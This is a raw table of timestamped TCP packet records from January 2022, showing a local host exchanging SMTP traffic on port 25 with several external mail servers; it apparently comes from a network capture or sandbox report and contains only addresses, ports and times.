Jan 7, 2022 15:43:21.432260990 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.432288885 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.432333946 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.432356119 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.432434082 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.432440996 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.432513952 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.432569027 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.432578087 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.432718039 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.432781935 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.432804108 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.432924986 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.432948112 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.433007956 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.433053017 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.433087111 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.433116913 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.433140039 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.433208942 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.433233023 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.433285952 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.433350086 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.433434010 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.433520079 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.433542013 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.433583021 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.433597088 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.433620930 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.433650970 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.433718920 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.433742046 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.433821917 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.433844090 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.433965921 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.434022903 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.434556961 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.434642076 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.434693098 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.434712887 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.435452938 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.435487032 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.435523033 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.435563087 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.455595016 CET	25	49843	142.250.150.26	192.168.2.6
Jan 7, 2022 15:43:21.458197117 CET	25	49843	142.250.150.26	192.168.2.6
Jan 7, 2022 15:43:21.458308935 CET	49843	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:43:21.473021030 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.473054886 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.473144054 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.473234892 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.473268986 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.473289013 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.473331928 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.473350048 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.473383904 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.473479033 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.473495960 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.474132061 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.474494934 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.514405012 CET	25	49843	142.250.150.26	192.168.2.6
Jan 7, 2022 15:43:21.514549971 CET	49843	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:43:21.575335026 CET	25	49843	142.250.150.26	192.168.2.6
Jan 7, 2022 15:43:21.578166008 CET	25	49843	142.250.150.26	192.168.2.6
Jan 7, 2022 15:43:21.578293085 CET	49843	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:43:21.578346968 CET	49843	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:43:21.578589916 CET	49845	25	192.168.2.6	142.250.157.26
Jan 7, 2022 15:43:21.583542109 CET	25	49831	74.125.200.26	192.168.2.6
Jan 7, 2022 15:43:21.593619108 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.593677998 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.593914986 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:21.594041109 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.594165087 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:21.594202042 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.594295979 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.594309092 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:21.594445944 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.594455957 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:21.594532013 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:21.594594955 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.594696999 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:21.594758987 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.594870090 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:21.595434904 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.595582962 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.595609903 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.595715046 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:21.595757961 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:21.596095085 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.596184969 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:21.596249104 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.596889973 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.596911907 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.596952915 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.596976042 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.597003937 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:21.597044945 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:21.597069979 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:21.597094059 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:21.597140074 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.597218990 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:21.617532969 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.617568970 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.617593050 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.617616892 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.617700100 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.617768049 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.617784023 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.618038893 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.618062019 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.618115902 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.618123055 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.618225098 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.618225098 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.618247986 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.618261099 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.618311882 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.618343115 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.618391991 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.618515015 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.618606091 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.618609905 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.618634939 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.618657112 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.618680954 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.618704081 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.618706942 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.618725061 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.618798971 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.618802071 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.618822098 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.618824005 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.618840933 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.618858099 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.618902922 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.619229078 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.619291067 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.619313955 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.619342089 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.619364977 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.619380951 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.619416952 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.619458914 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.619858027 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.619885921 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.619908094 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.619960070 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.620021105 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.620079041 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.620523930 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.620548010 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.620572090 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.620594978 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.620640039 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.620656967 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.620666981 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.620680094 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.620687962 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.620699883 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.620743036 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.620753050 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.620793104 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.620896101 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.620966911 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.621161938 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.621263981 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.621288061 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.621314049 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.621335030 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.621391058 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.621396065 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.621412992 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.621421099 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.621433973 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.621572018 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.621891022 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.622024059 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.622186899 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.622205973 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.622210979 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.622306108 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.623835087 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.624399900 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.624430895 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.624459982 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.624483109 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.624490976 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.624571085 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.624576092 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.624603033 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.624604940 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.624629974 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.624634027 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.624650955 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.624664068 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.624707937 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.624725103 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.624757051 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.625068903 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.625133038 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.625143051 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.625168085 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.625190020 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.625233889 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.625271082 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.625633001 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.625649929 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.625686884 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.625701904 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.625737906 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.625747919 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.625818968 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.625824928 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.625863075 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.625919104 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.625932932 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.626019955 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.626069069 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.626355886 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.626370907 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.626384974 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.626462936 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.626463890 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.626481056 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.626497030 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.626540899 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.626578093 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.626995087 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.627010107 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.627094984 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.627587080 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.627624989 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.627722979 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.628217936 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.628407001 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.632688999 CET	25	49843	142.250.150.26	192.168.2.6
Jan 7, 2022 15:43:21.633773088 CET	49843	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:43:21.661402941 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.661866903 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.661896944 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.661978960 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.662113905 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.662388086 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.662414074 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.662480116 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.662503004 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.662503958 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.662528992 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.662576914 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.662601948 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.662749052 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.663034916 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.663062096 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.663085938 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.663152933 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.663182020 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.734926939 CET	25	49831	74.125.200.26	192.168.2.6
Jan 7, 2022 15:43:21.738409996 CET	49831	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:43:21.785058022 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.785108089 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.785237074 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.785262108 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:21.785325050 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:21.785367966 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:21.785856962 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.785887957 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.786043882 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:21.786712885 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.786741972 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.786772013 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.786797047 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.786825895 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.786921978 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:21.786999941 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:21.787041903 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:21.787161112 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.788242102 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.788270950 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.788296938 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.788382053 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:21.788460016 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:21.788465977 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.788513899 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:21.788578033 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.788710117 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:21.789170980 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.789530039 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.789557934 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.789587021 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.789685965 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:21.789735079 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.789748907 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:21.789777994 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:21.789830923 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:21.790143967 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.790173054 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.790303946 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:21.790357113 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:21.790796041 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.790828943 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.790857077 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.790921926 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:21.791017056 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:21.791086912 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:21.791834116 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.791868925 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.792032957 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:21.792972088 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.793001890 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.793056965 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:21.793090105 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:21.803730965 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.803756952 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.803766966 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.803778887 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.803787947 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.803796053 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.803808928 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.803957939 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.803972960 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.803999901 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.804200888 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.804215908 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.804229975 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.804238081 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.804251909 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.804574966 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.804589033 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.804603100 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.804615974 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.804707050 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.804719925 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.804733992 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.804912090 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.804927111 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.804941893 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.804950953 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.805278063 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.805291891 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.805305004 CET	25	49830	35.82.253.27	192.168.2.6
